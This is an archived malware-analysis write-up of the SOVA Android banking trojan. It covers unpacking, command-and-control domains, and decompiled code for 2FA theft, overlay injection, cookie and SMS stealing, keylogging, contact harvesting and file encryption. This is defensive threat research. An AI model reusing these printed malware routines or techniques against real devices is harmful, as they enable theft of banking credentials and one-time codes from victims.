{
	"id": "0f90ba8e-1e20-4aa1-8330-d408bc4d7c59",
	"created_at": "2026-04-06T00:16:43.359465Z",
	"updated_at": "2026-04-10T03:21:42.551263Z",
	"deleted_at": null,
	"sha1_hash": "6f6b9dab26459bfa252bc715515b0d9af8484a60",
	"title": "Technical analysis of SOVA android malware",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 952207,
	"plain_text": "Technical analysis of SOVA android malware\nBy Muhammad Hasan Ali\nPublished: 2022-09-01 · Archived: 2026-04-05 19:15:55 UTC\n19 minute read\nبسم الله الرحمن الرحيم\nFreePalestine\nIntroductionPermalink\nIn September 2021, SOVA, a new Android Banking Trojan, was announced in a known underground forum. It had\nmultiple capabilities and was basically almost in the go-to market phase.Until March 2022, multiple versions of\nSOVA were found and some of these features were already implemented, such as: 2FA interception, cookie\nstealing and injections for new targets and countries (e.g. multiple Philippine banks). In July 2022, we discovered\na new version of SOVA (v4) which presents new capabilities and seems to be targeting more than 200 mobile\napplications, including banking apps and crypto exchanges/wallets. Starting from May 2022, Threat Actors (TAs)\nbehind SOVA have started to deliver a new version of their malware, hiding within fake Android applications that\nshow up with the logo of a few famous ones, like Chrome, Amazon, NFT platform or others.\nDownload the sample from malwarebazaar\nExplore AndroidManifest.xmlPermalink\nAndroidManifest.xml is not human-readable so we use apktool to decompile the apk first to be able to read\nthe AndroidManifest.xml . We need to read this file to know the ability of this malicious APK and know more\ninforamation such as entry points for the app, Activities, Services, Intents, app permissions, and package name.\nhttps://muha2xmad.github.io/malware-analysis/sova/\nPage 1 of 20\n\nThe malware gets lots of permissions to steal SMS such as READ_SMS , SEND_SMS , and RECEIVE_SMS , get\npermission to steal contacts such as READ_CONTACTS , WRITE_CONTACTS , and READ_PHONE_NUMBERS , get\npermission to un/install packages such as QUERY_ALL_PACKAGES , REQUEST_INSTALL_PACKAGES ,\nINSTALL_PACKAGES , and REQUEST_DELETE_PACKAGES to launch overlay attack when a specific application is\nlaunched usually bank apps, gets permission to access the location of the victim’s phone such as\nACCESS_FINE_LOCATION , ACCESS_COARSE_LOCATION , and ACCESS_BACKGROUND_LOCATION .\nOther permissions such as DISABLE_KEYGUARD to disable the phone lock for the time being the application is used,\nREORDER_TASKS this Allows the app to move tasks to the foreground and background, RECORD_AUDIO allow the\napp to record audio, CALL_PHONE Allows an application to initiate a phone call without going through the Dialer\nhttps://muha2xmad.github.io/malware-analysis/sova/\nPage 2 of 20\n\nuser interface, ACTION_MANAGE_OVERLAY_PERMISSION controlling which apps can draw on top of other apps helps\nthe overlay attack, RECEIVE_BOOT_COMPLETED to receive a notification when the system finishes booting.\nWe get the Entry point of the malicious application com.devapprove.a.ru.news.ui.LauncherActivity which is\nnot found the classes.dex. So this an indication that the malware is packed and other classes will be loaded\ninto application at run-time. And we need to unpack it so the malware will drop the decrypted dex file which\ncontains the malicious functions the malware will do to the victim’s device such as stealing SMS or how the\nmalware will communicate to the C2 server.\nThis service called HeadlessSmsSendService using SEND_RESPOND_VIA_MESSAGE permission, which enables the\nmalware to send a request to other apps to handle respond-via-message events for incoming calls. The malware will use NotificationService service to handle the device notification. The malware will be able\nto read/write all device notifications such as SMS notifications and messages notifications and system\nnotifications. This used to intercept when 2FA SMS revieved or OTP SMS.\nThe malware uses this service AppAccessibilityService to decalare an Accessibility Service in the Android\nmanifest. An accessibility service is an application that provides user interface enhancements to assist users with\ndisabilities, or who may temporarily be unable to fully interact with a device. And the capabilities the malware\nrequests are in @xml/accessibilityservice in res folder.\nhttps://muha2xmad.github.io/malware-analysis/sova/\nPage 3 of 20\n\nThe capabilities in @xml/accessibilityservice are canRetrieveWindowContent to retrieve the content of the\nwindow, accessibilityEventTypes to get all types of events which helps the malware to maintain more\npresitence in the victim’s device.\nThis allows the malware to get SMS notifications when the device gets SMS message. The malware set the\npriority to 9999 which allows the malware to get the SMS notification before the system messaging apps. Then\nthe malware deletes or send it to C2 server or do whatever he wants. This helps stealing 2FA SMS.\nDive into packed classes.exPermalink\nNow after we know that the malware is packed which will drop the unpacked file which contains the malicious\nfunctions the malware will do to the victim’s device. Another indication of packing by using droidlysis tool which\nextracts properties about the app. droidlysis --input\n7c805f51ee3b2994e742d73954e51d7c2c24c76455b0b9a1b44d61cb4e280502.apk . We get lots of info about the app\nsuch as activities, permissions, urls, and suspecious classes.\nSuspicious classes such as DexClassLoader which is A class loader that loads classes from . jar and .apk\nfiles containing a classes.dex entry. This can be used to execute code not installed as part of an application. The\nmost important parameter the DexClassLoader is the first parameter dexPath which represent path to the\nunpacked dex. We will get the name of the encrypted file which will be loaded at runtime. The name will be in\nplaintext or will be encoded , we will see….\nFigure(1): DexClassLoader class\nhttps://muha2xmad.github.io/malware-analysis/sova/\nPage 4 of 20\n\nHow we will find this file?\r\nYou can see the Unpacking video from Here\r\nFirst search for DexClassLoader in the decompiler such as jadx-gui . Then the find reference by pressing x to\r\nclass, and keep finding reference until finding attachBaseContext method, which is the function that packers\r\nusually override to perform these tasks since it is called by the framework even before.\r\nAfter searching for DexClassLoader , we find uncovercherry class we use x to find reference to this class.\r\nFigure(2): DexClassLoader class and uncovercherry\r\nFigure(3): find ref to uncovercherry is vibrantcricket\r\nFigure(4): find ref to vibrantcricket is damageinform\r\nhttps://muha2xmad.github.io/malware-analysis/sova/\r\nPage 5 of 20\n\nFigure(5): find ref to damageinform is decreasespare\r\nFigure(6): find ref to decreasespare is attachBaseContext\r\nNow we find String dexpath = nobleamong(clusterhole); , we enter nobleamong class, then we get return\r\nnuclearinquiry(str); , enter nuclearinquiry , then inflictair . We get return new File(str,\r\nthis.REpOzCiHoGjQpWpQqNnBtIu); , enter REpOzCiHoGjQpWpQqNnBtIu , and then ketchupold , then globeonline .\r\nNow, in this class we will get the name of the encrypted file which will be loaded in runtime. But it seems to be\r\nencoded, so we need to write code to decode it. The code is full of junk code, we will try to clean it.\r\nhttps://muha2xmad.github.io/malware-analysis/sova/\r\nPage 6 of 20\n\nFigure(7): encoded name of encrypted file\r\nAfter cleaning the code, and run the code the result will be Decoded filename: CtaDwII.json . So the file name\r\nwill be CtaDwII.json .\r\npublic class Main\r\n{\r\n public static String lawtwist(int arg9) {\r\n byte[] encrypted = new byte[] {80, 103, 114, 87, 100, 90, 90, 61, 121, 96, 124, 125};\r\n byte[] result = new byte[12];\r\n byte[] key = new byte[]{19};\r\n \r\n int i = 0;\r\n while (i \u003c 12) {\r\n result[i] = (byte)( encrypted[i] ^ key[i % 1]);\r\n i++;\r\n }\r\n return new String(result);\r\n \r\n }\r\npublic static void main(String[] args) {\r\nSystem.out.println(\"Decoded filename: \"+ Main.lawtwist(0 /* whatever */));\r\n}\r\n}\r\nNow how we will get the file? We will run the APK in virtual environment such as android studio then we use\r\nadb to pull the decrypted file.\r\nhttps://muha2xmad.github.io/malware-analysis/sova/\r\nPage 7 of 20\n\nSo we need to know where the decrypted CtaDwII.json file will be unpacked in android studio , you can use\r\nDexcalibur but I have problems while installing, so I used Hatching triage report to locate the decrypted\r\nCtaDwII.json file. The file is located in /data/user/0/com.bean.cousin/app_DynamicOptDex/CtaDwII.json .\r\nbefore we pull the file, you need to copy CtaDwII.json to a user folder not root folder such as /sdcard/ then\r\npull this dex file which we will analyze instead of classes.dex . The decrypted CtaDwII.json file SHA256\r\nhash: f6776bddb6a62dfaabcdf46eb1d5e22374ba0cfbabc45915ba887637b2f28c71 .\r\nDive into droped dexPermalink\r\nSOVA malware has multible versions, in each version malware authors implements new features. This sample is\r\nSOVA v5. And new features got added such as ransomware capability with AES algorithm.\r\nIn Const method, we get all the capabilities of the malware. The malware can do malicious functions such as\r\nintercepting 2FA, delete app, steal SMS and contacts, forward calls, keylogger ,or mute the device. In the end, I\r\nwill explain in brief every function the malware does.\r\n Const.INSTANCE = new Const();\r\n Const.PERMISSION_LIST = Build.VERSION.SDK_INT \u003c 26 ? CollectionsKt.listOf(new String[]{\"android.permissi\r\n Const.get2fa = \"get2fa\";\r\n Const.start2faactivator = \"start2faactivator\";\r\n Const.stop2faactivator = \"stop2faactivator\";\r\n Const.delbot = \"delbot\";\r\n Const.openUrl = \"openurl\";\r\n Const.startlock = \"startlock\";\r\n Const.stoplock = \"stoplock\";\r\n Const.admin = \"getperm\";\r\n Const.delapp = \"delapp\";\r\n Const.starthidenpush = \"starthidenpush\";\r\n Const.stophidenpush = \"stophidenpush\";\r\n Const.hidesms = \"starthidesms\";\r\n Const.stophidensms = \"stophidesms\";\r\n Const.scancookie = \"scancookie\";\r\n Const.stopcookie = \"stopcookie\";\r\n Const.scaninject = \"scaninject\";\r\n Const.stopscan = \"stopscan\";\r\n Const.getsms = \"getsms\";\r\n Const.startkeylogs = \"startkeylogs\";\r\n Const.stopkeylogs = \"stopkeylogs\";\r\n Const.contactssender = \"contactssender\";\r\n Const.sendsms = \"sendsms\";\r\n Const.openinject = \"openinject\";\r\n Const.getapps = \"getapps\";\r\n Const.sendpush = \"sendpush\";\r\n Const.enableinject = \"enableinject\";\r\n Const.runapp = \"runapp\";\r\n Const.callForward = \"forwardcall\";\r\nhttps://muha2xmad.github.io/malware-analysis/sova/\r\nPage 8 of 20\n\nConst.call = \"call\";\r\n Const.disableinject = \"disableinject\";\r\n Const.getcontacts = \"getcontacts\";\r\n Const.startMute = \"startmute\";\r\n Const.stopMute = \"stopmute\";\r\n Const.gettrustwallet = \"gettrustwallet\";\r\n Const.getexodus = \"getexodus\";\r\n Const.remote = new Remote(null, null, null, 7, null);\r\n \r\nNow I will start explaining the major functions of the malware such as Stealing SMS and contacts, ransomware,\r\nintercept 2FA, overlay attack, forward call, and mute state. In PingTasks method, we will find commands from\r\nC2 server which will be received to the malware to do the malicous functions. We will show the command from\r\nthe C2 server and then explain the function of the command.\r\nIn this version of SOVA, the malware comes with ransomware capability which will encrypt the victim’s files with\r\nAES algorithm and the extenstion of the encrypted files will be .enc .\r\n public void onCreate() {\r\n Intrinsics.checkNotNullExpressionValue(\"Created encryptor service\", \"TDE(\\\"Created encryptor service\\\")\"\r\n RemoteLogger.log$default(this.logger, \"Created encryptor service\", null, null, null, 14, null);\r\n super.onCreate();\r\n }\r\n @Override // android.app.Service\r\n public void onDestroy() {\r\n super.onDestroy();\r\n Intrinsics.checkNotNullExpressionValue(\"Destroyed encryptor service\", \"TDE(\\\"Destroyed encryptor service\r\n RemoteLogger.log$default(this.logger, \"Destroyed encryptor service\", null, null, null, 14, null);\r\n }\r\n private final void onEncryptionEnd() {\r\n Intrinsics.checkNotNullExpressionValue(\"Stopped encryptor\", \"TDE(\\\"Stopped encryptor\\\")\");\r\n RemoteLogger.log$default(this.logger, \"Stopped encryptor\", null, null, null, 14, null);\r\n this.preferences.isDeviceEncrypted(Boolean.valueOf(true));\r\n this.stopForeground(true);\r\n this.stopSelf();\r\n }\r\n private final void onEncryptionStart() {\r\n if((Preferences.isDeviceEncrypted$default(this.preferences, null, 1, null)) \u0026\u0026 this.mode == WorkType.ENC\r\n Intrinsics.checkNotNullExpressionValue(\"Device already encrypted\", \"TDE(\\\"Device already encrypted\\\"\r\n RemoteLogger.log$default(this.logger, \"Device already encrypted\", null, null, null, 14, null);\r\n this.stopForeground(true);\r\n this.stopSelf();\r\n }\r\nhttps://muha2xmad.github.io/malware-analysis/sova/\r\nPage 9 of 20\n\nIntrinsics.checkNotNullExpressionValue(\"Started encryptor\", \"TDE(\\\"Started encryptor\\\")\");\r\n RemoteLogger.log$default(this.logger, \"Started encryptor\", null, null, null, 14, null);\r\n Function1 function10 = (Function1)new EncryptorService.onEncryptionStart.1(this);\r\n this.aesEncryptor.setLog(function10);\r\n BuildersKt__Builders_commonKt.launch$default(CoroutineScopeKt.CoroutineScope(((CoroutineContext)Dispatch\r\n }\r\n @Override // android.app.Service\r\n public int onStartCommand(Intent intent0, int v, int v1) {\r\n this.startForeground(3, ContextNotificationExtensions.INSTANCE.createManagingServiceNotification(((Conte\r\n this.mode = intent0 == null || !intent0.getBooleanExtra(\"decrypt\", false) ? WorkType.ENCRYPT : WorkType\r\n this.onEncryptionStart();\r\n return 1;\r\n }\r\nThe malware will receive a command related to two factor authentication 2FA to start or stop collecting 2FA\r\nauthentication codes from victim device then send 2FA message to the C2 server. The malware will run the\r\nGoogle Authenticator app and get the content of the opened interface by abusing Accessibility Service .\r\nif(Intrinsics.areEqual(s, \"start2faactivator\")) {\r\n preferences0.is2FAActivatorEnabled(boolean0);\r\n return;\r\n }\r\n Inject inject0 = null;\r\n if(Intrinsics.areEqual(s, \"stop2faactivator\")) {\r\n Log.d(\"2FA\", String.valueOf(Preferences.is2FAActivatorEnabled$default(preferences0, null, 1, null)))\r\n preferences0.is2FAActivatorEnabled(Boolean.valueOf(false));\r\n return;\r\n }\r\n if(Intrinsics.areEqual(s, \"get2fa\")) {\r\n AppKt.log$default(this, \"Request Google auth app\", null, null, 6, null);\r\n if(!workerService1.checkScreenState(command0)) {\r\n return;\r\n }\r\n if(ContexStartExtensionsKt.startApp(context0, \"com.google.android.apps.authenticator2\")) {\r\n preferences0.is2FARequested(boolean0);\r\n return;\r\n }\r\n }\r\nThe malware will try to steal 2FA codes generated by Google Authenticator app. This can happen if the\r\nmalware take Accessibility Service permission. If the authenticator app is running, the malware can get the\r\nhttps://muha2xmad.github.io/malware-analysis/sova/\r\nPage 10 of 20\n\ncontent of the opened activity(interface) and then upload this information to the C2 server. By this way, the\r\nmalware can get the 2FA to bypass the protection of the banking accounts.\r\npublic final boolean is2FAActivatorEnabled(Boolean boolean0) {\r\n if(boolean0 != null) {\r\n this.prefsEditor().putBoolean(\"is2FAActivatorEnabled\", boolean0.booleanValue()).apply();\r\n return boolean0.booleanValue();\r\n }\r\n return this.prefs().getBoolean(\"is2FAActivatorEnabled\", false);\r\n }\r\n public static boolean is2FAActivatorEnabled$default(Preferences preferences0, Boolean boolean0, int v, Objec\r\n if(object0 == null) {\r\n if((v \u0026 1) != 0) {\r\n boolean0 = null;\r\n }\r\n return preferences0.is2FAActivatorEnabled(boolean0);\r\n }\r\n throw new UnsupportedOperationException(\"Super calls with default arguments not supported in this target\r\n }\r\n public final boolean is2FARequested(Boolean boolean0) {\r\n if(boolean0 != null) {\r\n this.prefsEditor().putBoolean(\"is2FARequested\", boolean0.booleanValue()).apply();\r\n return boolean0.booleanValue();\r\n }\r\n return this.prefs().getBoolean(\"is2FARequested\", false);\r\n }\r\n public static boolean is2FARequested$default(Preferences preferences0, Boolean boolean0, int v, Object objec\r\n if(object0 == null) {\r\n if((v \u0026 1) != 0) {\r\n boolean0 = null;\r\n }\r\n return preferences0.is2FARequested(boolean0);\r\n }\r\n throw new UnsupportedOperationException(\"Super calls with default arguments not supported in this target\r\n }\r\nhttps://muha2xmad.github.io/malware-analysis/sova/\r\nPage 11 of 20\n\nThe malware will perform overlay attack when the victim opens a specific app usually banking apps or\r\ncryptocurrency apps to steal the victim’s credentials. In prevouis versions, the malware puts targeted apps in\r\npackageList.txt in assets/ folder. In version 5, the malware will request all installed packages on the\r\nvictim’s device, and then reqest needed WebViews for targeted apps. The command openinject will open the\r\ndownloaded WebView by requesting injectlist from the C2 server satandemantenimiento[].]com when a\r\ntargeted app opened. The malware knows that the vicitm opens a targeted app by monitoring the screen.\r\n if(Intrinsics.areEqual(s, \"openinject\")) {\r\n Companion browserActivity$Companion0 = BrowserActivity.Companion;\r\n Context context7 = workerService0.getApplicationContext();\r\n Intrinsics.checkNotNullExpressionValue(context7, \"workerService.applicationContext\")\r\n StringBuilder stringBuilder0 = new StringBuilder().append(\"http://satandemantenimien\r\n List list0 = command0.getInjectlist();\r\n if(list0 != null) {\r\n inject0 = (Inject)list0.get(0);\r\n }\r\n Intrinsics.checkNotNull(inject0);\r\n workerService1.startActivity(browserActivity$Companion0.newInstance(context7, string\r\n return;\r\n }\r\n if(Intrinsics.areEqual(s, \"enableinject\")) {\r\n this.scanInject(command0, workerService0);\r\n return;\r\n }\r\n if(Intrinsics.areEqual(s, \"disableinject\")) {\r\n Preferences preferences1 = workerService0.getPreferences();\r\n List list1 = command0.getInjectlist();\r\n Intrinsics.checkNotNull(list1);\r\n preferences1.deleteInjects(list1);\r\n return;\r\nAnd the scanInject class to update the list of targeted apps.\r\nprivate final void scanInject(Command command0, WorkerService workerService0) {\r\n Log.d(\"INJCTS - scan\", String.valueOf(command0.getInjectlist()));\r\n for(Object object0: (command0.getInjectlist() == null ? CollectionsKt.emptyList() : command0.getInjectli\r\n Inject inject0 = (Inject)object0;\r\n workerService0.getPreferences().addInject(inject0);\r\n AppKt.log$default(this, inject0 + \" ENABLED\", null, null, 6, null);\r\n }\r\n }\r\nThis how malware perform overlay attack. And the malware will try to steal cookie using getCookie\r\ncommand -which we will explain- using cookieManager .\r\nhttps://muha2xmad.github.io/malware-analysis/sova/\r\nPage 12 of 20\n\nprotected void onCreate(Bundle bundle0) {\r\n super.onCreate(bundle0);\r\n this.getWindow().requestFeature(8);\r\n ActionBar actionBar0 = this.getActionBar();\r\n if(actionBar0 != null) {\r\n actionBar0.hide();\r\n }\r\n this.setTitle(\"\");\r\n try {\r\n this.setContentView(0x7F0B0022);\r\n View view0 = this.findViewById(0x7F0800B8);\r\n Intrinsics.checkNotNullExpressionValue(view0, \"findViewById(R.id.web_view)\");\r\n WebView webView0 = (WebView)view0;\r\n webView0.getSettings().setJavaScriptEnabled(true);\r\n String s = null;\r\n webView0.setLayerType(2, null);\r\n String s1 = this.getIntent().getStringExtra(\"link\");\r\n Log.i(\"INJECT_URL\", Intrinsics.stringPlus(\"\", s1));\r\n boolean z = this.getIntent().getBooleanExtra(\"getCookie\", false);\r\n this.packet = this.getIntent().getStringExtra(\"packet\");\r\n StringBuilder stringBuilder0 = new StringBuilder().append(\"Web activity started. Navigate to: \");\r\n if(s1 != null) {\r\n s = s1.toString();\r\n }\r\n AppKt.log$default(this, stringBuilder0.append(s).append(\". Get cookie: \").append(((boolean)(((int)z)\r\n CookieManager cookieManager0 = CookieManager.getInstance();\r\n CookieSyncManager.createInstance(this.getApplicationContext());\r\n if(Build.VERSION.SDK_INT \u003e= 21) {\r\n cookieManager0.setAcceptThirdPartyCookies(webView0, true);\r\n }\r\n else {\r\n cookieManager0.setAcceptCookie(true);\r\n }\r\n cookieManager0.acceptCookie();\r\n CookieSyncManager.getInstance().startSync();\r\n Intrinsics.checkNotNullExpressionValue(cookieManager0, \"cookieManager\");\r\n this.setClient(webView0, ((boolean)(((int)z))), cookieManager0);\r\n this.setChromeClient(webView0);\r\n webView0.getSettings().setDomStorageEnabled(true);\r\n webView0.addJavascriptInterface(new BrowserActivity.onCreate.1(this), \"Android\");\r\n webView0.addJavascriptInterface(new BrowserActivity.onCreate.2(), \"recorder\");\r\n if(s1 != null) {\r\n webView0.loadUrl(s1);\r\nhttps://muha2xmad.github.io/malware-analysis/sova/\r\nPage 13 of 20\n\nreturn;\r\n }\r\n }\r\n catch(Exception unused_ex) {\r\n return;\r\n }\r\n }\r\nThe malware will steal Cookies from the opened apps using scancookie using cookieManager . After collecting\r\nCookies the malware will stop scan using stopcookie command. The malware sends the stolen Cookies to\r\n/testpost.php .\r\n if(Intrinsics.areEqual(s, \"scancookie\")) {\r\n try {\r\n this.scanCookie(command0, workerService0);\r\n }\r\n catch(Exception unused_ex) {\r\n }\r\n return;\r\n }\r\nif(Intrinsics.areEqual(s, \"stopcookie\")) {\r\n AppKt.log$default(this, \"stop cookie received. cleaning preferences ...\", null, null, 6,\r\n workerService0.getPreferences().currentCookie(\"[]\");\r\n return;\r\n }\r\nif(Intrinsics.areEqual(s, \"stopscan\")) {\r\n workerService0.getPreferences().currentCookie(\"[]\");\r\n return;\r\n }\r\nThe malware has the capabbility to store key strokes of the victim using startkeylogs . This helps to steal the\r\nvictim’s banking credentials or login credentials. The malware sends the stored keylogs to /keylog.php . And\r\nstop storing keylogs using stopkeylogs .\r\n if(Intrinsics.areEqual(s, \"stopkeylogs\")) {\r\n preferences0.isKeyLoggerIsEnabled(Boolean.valueOf(false));\r\n return;\r\n }\r\nif(Intrinsics.areEqual(s, \"startkeylogs\")) {\r\n preferences0.isKeyLoggerIsEnabled(boolean0);\r\n return;\r\nhttps://muha2xmad.github.io/malware-analysis/sova/\r\nPage 14 of 20\n\n}\r\nThe malware will set the device to mute state using startmute command. So when the device gets a notification\r\nthe victim won’t notice. Then the malware will intercept the coming SMS. This makes the received SMS hidden\r\nfrom the victim. This useful for the attacker to get OTP. By using stophidesms command, this command stops\r\nhidding received SMS. Another command is to get SMS getsms to get the stored SMS on the victim’s device\r\nthen upload to C2 server using sendsms command.\r\nif(Intrinsics.areEqual(s, \"stophidesms\")) {\r\n if(!workerService1.checkScreenState(command0)) {\r\n return;\r\n }\r\n if(Intrinsics.areEqual(Telephony.Sms.getDefaultSmsPackage(context0), workerService0.getPacka\r\n preferences0.loopnotifEnabled(Boolean.valueOf(false));\r\n this.stopHiddenPush(workerService1);\r\n workerService0.getPreferences().isHiddenSMSEnabled(Boolean.valueOf(false));\r\n workerService0.getPreferences().isNeedChangeDefaultToChrome(false);\r\n workerService0.getPreferences().isNeedChangeDefaultToMessages(true);\r\n Context context3 = workerService0.getApplicationContext();\r\n Intrinsics.checkNotNullExpressionValue(context3, \"workerService.applicationContext\");\r\n if(!ContexStartExtensionsKt.startApp(context3, \"com.samsung.android.messaging\")) {\r\n Context context4 = workerService0.getApplicationContext();\r\n Intrinsics.checkNotNullExpressionValue(context4, \"workerService.applicationContext\")\r\n if(!ContexStartExtensionsKt.startApp(context4, \"com.android.messaging\")) {\r\n Context context5 = workerService0.getApplicationContext();\r\n Intrinsics.checkNotNullExpressionValue(context5, \"workerService.applicationConte\r\n if(!ContexStartExtensionsKt.startApp(context5, \"com.google.android.apps.messagin\r\n Context context6 = workerService0.getApplicationContext();\r\n Intrinsics.checkNotNullExpressionValue(context6, \"workerService.applicationC\r\n ContexStartExtensionsKt.startApp(context6, \"com.android.mms\");\r\n return;\r\n }\r\n }\r\n }\r\n }\r\n }\r\nif(Intrinsics.areEqual(s, \"getsms\")) {\r\n ContexStartExtensionsKt.overlay$default(context0, 0, ((Function0)new PingTasks.onPingRec\r\n return;}\r\n if(Intrinsics.areEqual(s, \"sendsms\")) {\r\n ContexStartExtensionsKt.sendSMS(context0, command0.getNumber(), command0.getText());\r\n return;}\r\n if(Intrinsics.areEqual(s, \"startmute\")) {\r\n this.mutePhone(context0);\r\nhttps://muha2xmad.github.io/malware-analysis/sova/\r\nPage 15 of 20\n\nreturn;\r\n }\r\nif(Intrinsics.areEqual(s, \"stopmute\")) {\r\n this.unmutePhone(context0);\r\n return;\r\n }\r\nThe malware collect the SMS stored in the victim’s device and send it to C2 server. This happens by collecting the\r\nbody and the address(number) of the SMS message.\r\n public void onReceive(Context context0, Intent intent0) {\r\n try {\r\n SmsMessage[] arr_smsMessage = Telephony.Sms.Intents.getMessagesFromIntent(intent0);\r\n Intrinsics.checkNotNullExpressionValue(arr_smsMessage, \"smsMessages\");\r\n int v = 0;\r\n while(true) {\r\n if(v \u003e= arr_smsMessage.length) {\r\n return;\r\n }\r\n SmsMessage smsMessage0 = arr_smsMessage[v];\r\n ++v;\r\n Intrinsics.checkNotNullExpressionValue(Uri.parse(\"content://sms\"), \"parse(\\\"content://sms\\\")\");\r\n String s = smsMessage0.getMessageBody();\r\n Intrinsics.checkNotNullExpressionValue(s, \"message.messageBody\");\r\n String s1 = smsMessage0.getOriginatingAddress();\r\n Intrinsics.checkNotNull(s1);\r\n Intrinsics.checkNotNullExpressionValue(s1, \"message.originatingAddress!!\");\r\n new SendSms(s, s1).justExecute();\r\n StringBuilder stringBuilder0 = new StringBuilder().append(\"Sending SMS Message (\");\r\n String s2 = smsMessage0.getOriginatingAddress();\r\n Intrinsics.checkNotNull(s2);\r\n AppKt.log$default(this, stringBuilder0.append(s2).append(\", \").append(smsMessage0.getMessageBody\r\n this.abortBroadcast();\r\n }\r\n }\r\n catch(Exception unused_ex) {\r\n return;\r\n }\r\n }\r\n}\r\nThe malware will start collecting contacts to gain new victims by sending phishing SMS.\r\nhttps://muha2xmad.github.io/malware-analysis/sova/\r\nPage 16 of 20\n\nif(Intrinsics.areEqual(s, \"contactssender\")) {\r\n HashMap hashMap0 = Contacts.getContactList(context0);\r\n for(Object object0: hashMap0.keySet()) {\r\n String s1 = (String)object0;\r\n try {\r\n Object object1 = hashMap0.get(s1);\r\n Intrinsics.checkNotNull(object1);\r\n Intrinsics.checkNotNullExpressionValue(object1, \"contacts[i]!!\");\r\n ContexStartExtensionsKt.sendSMS(((Context)workerService1), ((String)object1), co\r\n }\r\n catch(Exception unused_ex) {\r\n return;\r\n }\r\n }\r\n }\r\nif(Intrinsics.areEqual(s, \"getcontacts\")) {\r\n ContextAccessesExtensionsKt.sendImAlive(context0, preferences0, workerService0.g\r\n return;\r\nThe malware creates a loop to collect the contacts by collecting the id , display_name , and number then save\r\nthis info to data1 to upload this file to C2 server.\r\npublic class Contacts {\r\n public static HashMap getContactList(Context context0) {\r\n ContentResolver contentResolver0 = context0.getContentResolver();\r\n Cursor cursor0 = contentResolver0.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);\r\n HashMap hashMap0 = new HashMap();\r\n if((cursor0 == null ? 0 : cursor0.getCount()) \u003e 0) {\r\n while(cursor0.moveToNext()) {\r\n String s = cursor0.getString(cursor0.getColumnIndex(\"_id\"));\r\n String s1 = cursor0.getString(cursor0.getColumnIndex(\"display_name\"));\r\n if(cursor0.getInt(cursor0.getColumnIndex(\"has_phone_number\")) \u003c= 0) {\r\n continue;\r\n }\r\n Cursor cursor1 = contentResolver0.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null\r\n while(cursor1.moveToNext()) {\r\n hashMap0.put(s1, cursor1.getString(cursor1.getColumnIndex(\"data1\")));\r\n }\r\n cursor1.close();\r\n }\r\n }\r\n if(cursor0 != null) {\r\n cursor0.close();\r\nhttps://muha2xmad.github.io/malware-analysis/sova/\r\nPage 17 of 20\n\n}\r\n return hashMap0;\r\n }\r\nThe malware connects to http://ip-api.com to retrive the IP, location of the victim. If the IP is located in\r\nlistCountryToIgnore , the malware will ignore the victim’s device and don’t performe the malicious functions.\r\nstatic {\r\n Intrinsics.checkNotNullExpressionValue(\"aHR0cDovL3NhdGFuZGVtYW50ZW5pbWllbnRvLmNvbQ==\", \"TDE(\\\"aHR0cDovL3\r\n ConstKt.SERVER_ADDRESS = \"aHR0cDovL3NhdGFuZGVtYW50ZW5pbWllbnRvLmNvbQ==\";\r\n Intrinsics.checkNotNullExpressionValue(\"MQ==\", \"TDE(\\\"MQ==\\\")\");\r\n ConstKt.ACCESS_VALUE = \"MQ==\";\r\n ConstKt.listCountryToIgnore = CollectionsKt.listOf(new String[]{\"AZ\", \"AM\", \"BY\", \"KZ\", \"KG\", \"MD\", \"RU\"\r\n }\r\nWe come to the end. There are some other commands such as delbot to delete the bot from victim’s device,\r\nstarthidenpush to hide pushing notification, delapp to delete apps from the device, call to call action from\r\nthe device, callforward to forward a phone call to the attacker and more commands found in this malware.\r\nDynamicPermalink\r\nAfter installing the malicious APK and open the APK, the malware will keep asking you for granting the\r\nAccessibility Service to maintain presistance. After granting, the malware will be able to get the permission\r\nby itself as if he makes himself home.\r\nhttps://muha2xmad.github.io/malware-analysis/sova/\r\nPage 18 of 20\n\nFigure(9): connects to ip-api to get country and IP and more\r\nFigure(10): connects to C2 server with param and botid, response from C2 is `ok`\r\nIoCPermalink\r\nhttps://muha2xmad.github.io/malware-analysis/sova/\r\nPage 19 of 20\n\nNo. Description Hash and URLs\r\n1 APK (MD5 ) 74b8956dc35fd8a5eb2f7a5d313e60ca\r\n2 The unpacked dex (MD5) f7f7cdf82b7b6c72882a6172213d0aff\r\n3 C2 server http://satandemantenimiento.com\r\n4 C2 server http://wecrvtbyutrcewwretyntrverfd.xyz\r\nArticle quotePermalink\r\nهِلكاِت ال ُّدروب\r\nُم\r\nُه َدى والَّصالِح وتر َح ُل في \r\nدرَب الأتهُج ُر\r\nREFPermalink\r\nSOVA malware is back and is evolving rapidly\r\nAndroid Dev\r\nUnpacking process\r\n[Mal Series #20] Android libarm_protect packer\r\nSource: https://muha2xmad.github.io/malware-analysis/sova/\r\nhttps://muha2xmad.github.io/malware-analysis/sova/\r\nPage 20 of 20",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://muha2xmad.github.io/malware-analysis/sova/"
	],
	"report_names": [
		"sova"
	],
	"threat_actors": [],
	"ts_created_at": 1775434603,
	"ts_updated_at": 1775791302,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/6f6b9dab26459bfa252bc715515b0d9af8484a60.pdf",
		"text": "https://archive.orkl.eu/6f6b9dab26459bfa252bc715515b0d9af8484a60.txt",
		"img": "https://archive.orkl.eu/6f6b9dab26459bfa252bc715515b0d9af8484a60.jpg"
	}
}